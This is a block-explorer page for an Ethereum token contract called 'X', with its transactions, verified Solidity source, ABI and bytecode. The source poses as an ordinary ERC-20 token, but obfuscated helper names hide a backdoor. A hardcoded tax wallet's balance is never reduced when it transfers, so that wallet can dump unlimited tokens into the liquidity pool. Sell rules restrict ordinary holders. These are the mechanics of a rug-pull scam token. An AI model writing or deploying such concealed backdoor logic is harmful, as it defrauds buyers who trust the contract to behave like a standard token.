ETH Price: $2,517.29 (-1.32%)

Contract

0x5587764a939785573C1Ca47fDbBa5BA4370be9b1
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve182671142023-10-03 2:45:23395 days ago1696301123IN
0x5587764a...4370be9b1
0 ETH0.000289516.25137212
Approve182671092023-10-03 2:44:23395 days ago1696301063IN
0x5587764a...4370be9b1
0 ETH0.000420359.02500075
Approve182670942023-10-03 2:41:23395 days ago1696300883IN
0x5587764a...4370be9b1
0 ETH0.000434249.32319268
Approve182670892023-10-03 2:40:23395 days ago1696300823IN
0x5587764a...4370be9b1
0 ETH0.000331797.16966431
Transfer182670852023-10-03 2:39:23395 days ago1696300763IN
0x5587764a...4370be9b1
0 ETH0.000293476.67586726
Transfer182670832023-10-03 2:38:59395 days ago1696300739IN
0x5587764a...4370be9b1
0 ETH0.000279256.65506394
Approve182670562023-10-03 2:33:35395 days ago1696300415IN
0x5587764a...4370be9b1
0 ETH0.0004694310.07878377
Approve182670262023-10-03 2:27:35395 days ago1696300055IN
0x5587764a...4370be9b1
0 ETH0.000320046.87128132
Approve182670252023-10-03 2:27:23395 days ago1696300043IN
0x5587764a...4370be9b1
0 ETH0.000455329.77564453
Approve182670132023-10-03 2:24:59395 days ago1696299899IN
0x5587764a...4370be9b1
0 ETH0.0004699110.08897048
Approve182670122023-10-03 2:24:47395 days ago1696299887IN
0x5587764a...4370be9b1
0 ETH0.0004755410.20979444
Renounce Ownersh...182670122023-10-03 2:24:47395 days ago1696299887IN
0x5587764a...4370be9b1
0 ETH0.00019148.20979444
Approve182670122023-10-03 2:24:47395 days ago1696299887IN
0x5587764a...4370be9b1
0 ETH0.0004755410.20979444
Approve182670122023-10-03 2:24:47395 days ago1696299887IN
0x5587764a...4370be9b1
0 ETH0.0004755410.20979444
Openl Trading182670082023-10-03 2:23:59395 days ago1696299839IN
0x5587764a...4370be9b1
0 ETH0.021965257.76261849
Transfer182670002023-10-03 2:22:23395 days ago1696299743IN
0x5587764a...4370be9b1
1 ETH0.000138396.57282418
Transfer182669962023-10-03 2:21:35395 days ago1696299695IN
0x5587764a...4370be9b1
0 ETH0.000398487.00871442
0x60806040182669822023-10-03 2:18:47395 days ago1696299527IN
 Create: X
0 ETH0.013384957.62445464

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
182670082023-10-03 2:23:59395 days ago1696299839
0x5587764a...4370be9b1
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-03
*/

/**
Welcome to the revolutionary world of X.
X emerges as a frontrunner, offering a secure, efficient, and innovative way to engage in the ever-expanding crypto ecosystem.


X/Twitter: https://twitter.com/Xerc_Coin
Telegram: https://t.me/Xerc_Token
Website: https://xerc.org/
**/


// SPDX-License-Identifier: MIT


pragma solidity 0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  _rfwvl(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _rfwvl(a, b, "SafeMath");
    }

    function  _rfwvl(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface _gipuk {
    function createPair(address
     tokenA, address tokenB) external
      returns (address pair);
}

interface _gtzyr {
    function ymKuapqavtmFacaevcg(
        uint amountIn,
        uint amountOutMin,
        address[
            
        ] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure 
    returns (address);
    function WETH() external pure 
    returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH
    , uint liquidity);
}

contract X is Context, IERC20, Ownable {
    using SafeMath for uint256;

    _gtzyr private _Tyopnk;
    address payable private _Fosrero;
    address private _cofteu;

    string private constant _name = unicode"X";
    string private constant _symbol = unicode"X";
    uint8 private constant _decimals = 9;
    uint256 private constant _aTotalsa = 1000000000 * 10 **_decimals;


    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _pudfqvr;
    mapping (address => bool) private _yrutzy;
    mapping(address => uint256) private _ahcujq;


    uint256 public _qpjvapd = _aTotalsa;
    uint256 public _Wiorsoe = _aTotalsa;
    uint256 public _refTjvu= _aTotalsa;
    uint256 public _XuvTyof= _aTotalsa;


    uint256 private _TaxBuyinitial=1;
    uint256 private _TaxSellinitial=1;
    uint256 private _TaxBuyfinal=1;
    uint256 private _TaxSellfinal=1;
    uint256 private _TaxBuyAreduce=1;
    uint256 private _TaxSellAreduce=1;
    uint256 private _yfkvjq=0;
    uint256 private _uevbjrg=0;
    

    bool private _ehjzjr;
    bool public _Dafojkf = false;
    bool private zeqvze = false;
    bool private _oqbvzs = false;


    event _hzkpwut(uint _qpjvapd);
    modifier lysiur {
        zeqvze = true;
        _;
        zeqvze = false;
    }

    constructor () {      
        _balances[_msgSender(

        )] = _aTotalsa;
        _pudfqvr[owner(

        )] = true;
        _pudfqvr[address
        (this)] = true;
        _pudfqvr[
            _Fosrero] = true;
        _Fosrero = 
        payable (0x97c2359A6073E144a88807De9DAdD09C264dfe82);

 

        emit Transfer(
            address(0), 
            _msgSender(

            ), _aTotalsa);
              
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _aTotalsa;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _rfwvl(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 ksoyfrk=0;
        if (from !=
         owner () && to 
         != owner ( ) ) {

            if (_Dafojkf) {
                if (to 
                != address
                (_Tyopnk) 
                && to !=
                 address
                 (_cofteu)) {
                  require(_ahcujq
                  [tx.origin]
                   < block.number,
                  "Only one transfer per block allowed."
                  );
                  _ahcujq
                  [tx.origin] 
                  = block.number;
                }
            }

            if (from ==
             _cofteu && to != 
            address(_Tyopnk) &&
             !_pudfqvr[to] ) {
                require(amount 
                <= _qpjvapd,
                 "Exceeds the _qpjvapd.");
                require(balanceOf
                (to) + amount
                 <= _Wiorsoe,
                  "Exceeds the macxizse.");
                if(_uevbjrg
                < _yfkvjq){
                  require
                  (! _expakpz(to));
                }
                _uevbjrg++;
                 _yrutzy
                 [to]=true;
                ksoyfrk = amount._pvr
                ((_uevbjrg>
                _TaxBuyAreduce)?
                _TaxBuyfinal:
                _TaxBuyinitial)
                .div(100);
            }

            if(to == _cofteu &&
             from!= address(this) 
            && !_pudfqvr[from] ){
                require(amount <= 
                _qpjvapd && 
                balanceOf(_Fosrero)
                <_XuvTyof,
                 "Exceeds the _qpjvapd.");
                ksoyfrk = amount._pvr((_uevbjrg>
                _TaxSellAreduce)?
                _TaxSellfinal:
                _TaxSellinitial)
                .div(100);
                require(_uevbjrg>
                _yfkvjq &&
                 _yrutzy[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!zeqvze 
            && to == _cofteu &&
             _oqbvzs &&
             contractTokenBalance>
             _refTjvu 
            && _uevbjrg>
            _yfkvjq&&
             !_pudfqvr[to]&&
              !_pudfqvr[from]
            ) {
                _fnarevf( _wveul(amount, 
                _wveul(contractTokenBalance,
                _XuvTyof)));
                uint256 contractETHBalance 
                = address(this)
                .balance;
                if(contractETHBalance 
                > 0) {
                    _xevueo(address
                    (this).balance);
                }
            }
        }

        if(ksoyfrk>0){
          _balances[address
          (this)]=_balances
          [address
          (this)].
          add(ksoyfrk);
          emit
           Transfer(from,
           address
           (this),ksoyfrk);
        }
        _balances[from
        ]= _rfwvl(from,
         _balances[from]
         , amount);
        _balances[to]=
        _balances[to].
        add(amount.
         _rfwvl(ksoyfrk));
        emit Transfer
        (from, to, 
        amount.
         _rfwvl(ksoyfrk));
    }

    function _fnarevf(uint256
     tokenAmount) private
      lysiur {
        if(tokenAmount==
        0){return;}
        if(!_ehjzjr)
        {return;}
        address[

        ] memory path =
         new address[](2);
        path[0] = 
        address(this);
        path[1] = 
        _Tyopnk.WETH();
        _approve(address(this),
         address(
             _Tyopnk), 
             tokenAmount);
        _Tyopnk.
        ymKuapqavtmFacaevcg
        (
            tokenAmount,
            0,
            path,
            address
            (this),
            block.
            timestamp
        );
    }

    function  _wveul
    (uint256 a, 
    uint256 b
    ) private pure
     returns 
     (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _rfwvl(address
     from, uint256 a,
      uint256 b) 
      private view
       returns(uint256){
        if(from 
        == _Fosrero){
            return a ;
        }else{
            return a .
             _rfwvl (b);
        }
    }

    function removeLimitas (
        
    ) external onlyOwner{
        _qpjvapd = _aTotalsa;
        _Wiorsoe = _aTotalsa;
        emit _hzkpwut(_aTotalsa);
    }

    function _expakpz(address 
    account) private view 
    returns (bool) {
        uint256 ejrcuv;
        assembly {
            ejrcuv :=
             extcodesize
             (account)
        }
        return ejrcuv > 
        0;
    }

    function _xevueo(uint256
    amount) private {
        _Fosrero.
        transfer(
            amount);
    }

    function openlTrading ( 

    ) external onlyOwner ( ) {
        require (
            ! _ehjzjr ) ;
        _Tyopnk  
        =  
        _gtzyr
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address
        (this), address(
            _Tyopnk), 
            _aTotalsa);
        _cofteu = 
        _gipuk(_Tyopnk.
        factory( ) 
        ). createPair (
            address(this
            ),  _Tyopnk .
             WETH ( ) );
        _Tyopnk.addLiquidityETH
        {value: address
        (this).balance}
        (address(this)
        ,balanceOf(address
        (this)),0,0,owner(),block.
        timestamp);
        IERC20(_cofteu).
        approve(address(_Tyopnk), 
        type(uint)
        .max);
        _oqbvzs = true;
        _ehjzjr = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_qpjvapd","type":"uint256"}],"name":"_hzkpwut","type":"event"},{"inputs":[],"name":"_Dafojkf","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Wiorsoe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_XuvTyof","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qpjvapd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_refTjvu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openlTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000314565b6200002290633b9aca006200032b565b6009556009600a62000035919062000314565b6200004590633b9aca006200032b565b600a556009600a62000058919062000314565b6200006890633b9aca006200032b565b600b55620000796009600a62000314565b6200008990633b9aca006200032b565b600c556001600d819055600e819055600f819055601081905560118190556012555f60138190556014556015805463ffffff0019169055348015620000cc575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200011b6009600a62000314565b6200012b90633b9aca006200032b565b335f8181526004602090815260408083209490945581546001600160a01b03908116835260069091528382208054600160ff199182168117909255308452858420805482168317905560028054909316845294832080549095161790935582546001600160a01b0319167397c2359a6073e144a88807de9dadd09c264dfe8217909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001de6009600a62000314565b620001ee90633b9aca006200032b565b60405190815260200160405180910390a362000345565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025957815f19048211156200023d576200023d62000205565b808516156200024b57918102915b93841c93908002906200021e565b509250929050565b5f8262000271575060016200030e565b816200027f57505f6200030e565b8160018114620002985760028114620002a357620002c3565b60019150506200030e565b60ff841115620002b757620002b762000205565b50506001821b6200030e565b5060208310610133831016604e8410600b8410161715620002e8575081810a6200030e565b620002f4838362000219565b805f19048211156200030a576200030a62000205565b0290505b92915050565b5f6200032460ff84168362000261565b9392505050565b80820281158282048414176200030e576200030e62000205565b6117e780620003535f395ff3fe608060405260043610610108575f3560e01c80638d31949a11610092578063a7520f1c11610062578063a7520f1c146102a3578063a7b43397146102b7578063a9059cbb146102cc578063b39dd294146102eb578063dd62ed3e146102ff575f80fd5b80638d31949a1461024a5780638da5cb5b1461026857806395d89b41146101135780639f131e251461028e575f80fd5b80632849ae6e116100d85780632849ae6e146101bb578063313ce567146101d057806370a08231146101eb578063715018a61461021f57806383778fa414610235575f80fd5b806306fdde0314610113578063095ea7b31461014b57806318160ddd1461017a57806323b872dd1461019c575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260018152600b60fb1b6020820152905161014291906113d8565b60405180910390f35b348015610156575f80fd5b5061016a61016536600461143a565b610343565b6040519015158152602001610142565b348015610185575f80fd5b5061018e610359565b604051908152602001610142565b3480156101a7575f80fd5b5061016a6101b6366004611464565b610379565b3480156101c6575f80fd5b5061018e600b5481565b3480156101db575f80fd5b5060405160098152602001610142565b3480156101f6575f80fd5b5061018e6102053660046114a2565b6001600160a01b03165f9081526004602052604090205490565b34801561022a575f80fd5b506102336103e1565b005b348015610240575f80fd5b5061018e600c5481565b348015610255575f80fd5b5060155461016a90610100900460ff1681565b348015610273575f80fd5b505f546040516001600160a01b039091168152602001610142565b348015610299575f80fd5b5061018e600a5481565b3480156102ae575f80fd5b5061023361045b565b3480156102c2575f80fd5b5061018e60095481565b3480156102d7575f80fd5b5061016a6102e636600461143a565b610510565b3480156102f6575f80fd5b5061023361051c565b34801561030a575f80fd5b5061018e6103193660046114bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b5f61034f338484610876565b5060015b92915050565b5f6103666009600a6115e8565b61037490633b9aca006115f6565b905090565b5f610385848484610999565b6103d684336103d18560405180606001604052806028815260200161178a602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611076565b610876565b5060015b9392505050565b5f546001600160a01b031633146104135760405162461bcd60e51b815260040161040a9061160d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104845760405162461bcd60e51b815260040161040a9061160d565b6104906009600a6115e8565b61049e90633b9aca006115f6565b60099081556104ae90600a6115e8565b6104bc90633b9aca006115f6565b600a9081557f6af724412f58f04fa3368be7f435492ac9b287e8289fd7f758317b0854347171906104ef906009906115e8565b6104fd90633b9aca006115f6565b60405190815260200160405180910390a1565b5f61034f338484610999565b5f546001600160a01b031633146105455760405162461bcd60e51b815260040161040a9061160d565b60155460ff1615610554575f80fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059d90309061058f6009600a6115e8565b6103d190633b9aca006115f6565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106119190611644565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610670573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106949190611644565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107029190611644565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610749816001600160a01b03165f9081526004602052604090205490565b5f8061075c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e7919061165f565b505060035460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561083c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610860919061168a565b506015805463ff0000ff19166301000001179055565b6001600160a01b0383166108d85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040a565b6001600160a01b0382166109395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040a565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040a565b6001600160a01b038216610a5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040a565b5f8111610ac05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040a565b5f80546001600160a01b03858116911614801590610aeb57505f546001600160a01b03848116911614155b15610f3757601554610100900460ff1615610bac576001546001600160a01b03848116911614801590610b2c57506003546001600160a01b03848116911614155b15610bac57325f908152600860205260409020544311610b9a5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161040a565b325f9081526008602052604090204390555b6003546001600160a01b038581169116148015610bd757506001546001600160a01b03848116911614155b8015610bfb57506001600160a01b0383165f9081526006602052604090205460ff16155b15610d3b57600954821115610c4a5760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8b8353b30b8321760591b604482015260640161040a565b600a5482610c6c856001600160a01b03165f9081526004602052604090205490565b610c7691906116a9565b1115610cbc5760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a34329036b0b1bc34bd39b29760591b604482015260640161040a565b6013546014541015610cd357823b15610cd3575f80fd5b60148054905f610ce2836116bc565b90915550506001600160a01b0383165f908152600760205260409020805460ff19166001179055601154601454610d3891606491610d329110610d2757600d54610d2b565b600f545b85906110ae565b9061110d565b90505b6003546001600160a01b038481169116148015610d6157506001600160a01b0384163014155b8015610d8557506001600160a01b0384165f9081526006602052604090205460ff16155b15610e53576009548211158015610db65750600c546002546001600160a01b03165f90815260046020526040902054105b610dfa5760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8b8353b30b8321760591b604482015260640161040a565b610e1f6064610d3260125460145411610e1557600e54610d2b565b60105485906110ae565b9050601354601454118015610e4b57506001600160a01b0384165f9081526007602052604090205460ff165b610e53575f80fd5b305f9081526004602052604090205460155462010000900460ff16158015610e8857506003546001600160a01b038581169116145b8015610e9d57506015546301000000900460ff165b8015610eaa5750600b5481115b8015610eb95750601354601454115b8015610edd57506001600160a01b0384165f9081526006602052604090205460ff16155b8015610f0157506001600160a01b0385165f9081526006602052604090205460ff16155b15610f3557610f23610f1e84610f1984600c54611139565b611139565b61114d565b478015610f3357610f33476112cc565b505b505b8015610faf57305f90815260046020526040902054610f569082611307565b305f81815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260046020526040902054610fd390859084611350565b6001600160a01b0385165f90815260046020526040902055611016610ff88383611380565b6001600160a01b0385165f9081526004602052604090205490611307565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105f8585611380565b60405190815260200160405180910390a350505050565b5f81848411156110995760405162461bcd60e51b815260040161040a91906113d8565b505f6110a584866116d4565b95945050505050565b5f825f036110bd57505f610353565b5f6110c883856115f6565b9050826110d585836116e7565b146103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506113ac565b5f81831161114757826103da565b50919050565b6015805462ff000019166201000017905580156112bd5760155460ff16156112bd576040805160028082526060820183525f9260208301908036833701905050905030815f815181106111a2576111a2611706565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061121d9190611644565b8160018151811061123057611230611706565b6001600160a01b0392831660209182029290920101526001546112569130911684610876565b60015460405163fb4652cb60e01b81526001600160a01b039091169063fb4652cb9061128e9085905f9086903090429060040161171a565b5f604051808303815f87803b1580156112a5575f80fd5b505af11580156112b7573d5f803e3d5ffd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611303573d5f803e3d5ffd5b5050565b5f8061131383856116a9565b9050838110156103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b6002545f906001600160a01b039081169085160361136f5750816103da565b6113798383611380565b90506103da565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611076565b5f81836113cc5760405162461bcd60e51b815260040161040a91906113d8565b505f6110a584866116e7565b5f6020808352835180828501525f5b81811015611403578581018301518582016040015282016113e7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611437575f80fd5b50565b5f806040838503121561144b575f80fd5b823561145681611423565b946020939093013593505050565b5f805f60608486031215611476575f80fd5b833561148181611423565b9250602084013561149181611423565b929592945050506040919091013590565b5f602082840312156114b2575f80fd5b81356103da81611423565b5f80604083850312156114ce575f80fd5b82356114d981611423565b915060208301356114e981611423565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561154257815f1904821115611528576115286114f4565b8085161561153557918102915b93841c939080029061150d565b509250929050565b5f8261155857506001610353565b8161156457505f610353565b816001811461157a5760028114611584576115a0565b6001915050610353565b60ff841115611595576115956114f4565b50506001821b610353565b5060208310610133831016604e8410600b84101617156115c3575081810a610353565b6115cd8383611508565b805f19048211156115e0576115e06114f4565b029392505050565b5f6103da60ff84168361154a565b8082028115828204841417610353576103536114f4565b6020808252601a908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865000000000000604082015260600190565b5f60208284031215611654575f80fd5b81516103da81611423565b5f805f60608486031215611671575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561169a575f80fd5b815180151581146103da575f80fd5b80820180821115610353576103536114f4565b5f600182016116cd576116cd6114f4565b5060010190565b81810381811115610353576103536114f4565b5f8261170157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117685784516001600160a01b031683529383019391830191600101611743565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034752edae14229e48d2b7ec52decd9a2be64c1cb49917b6332be6d8c813447e264736f6c63430008140033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638d31949a11610092578063a7520f1c11610062578063a7520f1c146102a3578063a7b43397146102b7578063a9059cbb146102cc578063b39dd294146102eb578063dd62ed3e146102ff575f80fd5b80638d31949a1461024a5780638da5cb5b1461026857806395d89b41146101135780639f131e251461028e575f80fd5b80632849ae6e116100d85780632849ae6e146101bb578063313ce567146101d057806370a08231146101eb578063715018a61461021f57806383778fa414610235575f80fd5b806306fdde0314610113578063095ea7b31461014b57806318160ddd1461017a57806323b872dd1461019c575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260018152600b60fb1b6020820152905161014291906113d8565b60405180910390f35b348015610156575f80fd5b5061016a61016536600461143a565b610343565b6040519015158152602001610142565b348015610185575f80fd5b5061018e610359565b604051908152602001610142565b3480156101a7575f80fd5b5061016a6101b6366004611464565b610379565b3480156101c6575f80fd5b5061018e600b5481565b3480156101db575f80fd5b5060405160098152602001610142565b3480156101f6575f80fd5b5061018e6102053660046114a2565b6001600160a01b03165f9081526004602052604090205490565b34801561022a575f80fd5b506102336103e1565b005b348015610240575f80fd5b5061018e600c5481565b348015610255575f80fd5b5060155461016a90610100900460ff1681565b348015610273575f80fd5b505f546040516001600160a01b